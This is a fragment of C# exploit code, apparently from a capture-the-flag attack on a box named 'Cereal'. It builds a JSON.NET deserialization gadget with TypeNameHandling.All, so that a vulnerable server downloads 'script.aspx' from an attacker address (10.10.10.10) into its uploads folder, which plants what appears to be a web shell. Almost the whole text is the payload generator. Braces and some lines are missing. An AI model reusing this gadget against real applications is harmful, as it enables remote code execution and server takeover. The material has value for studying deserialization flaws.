public class DownloadHelper
private String _FilePath;
get { return _FilePath; }
public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
int place = Source.LastIndexOf(Find);
string result = Source.Remove(place, Find.Length).Insert(place, Replace);
using (WebClient wc = new WebClient())
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
public static void Main()
Cereal.DownloadHelper obj = new Cereal.DownloadHelper
URL = "http://10.10.10.10/script.aspx",
FilePath = "uploads/script.aspx"
string json = JsonConvert.SerializeObject(obj, new JsonSerializerSettings
TypeNameHandling = TypeNameHandling.All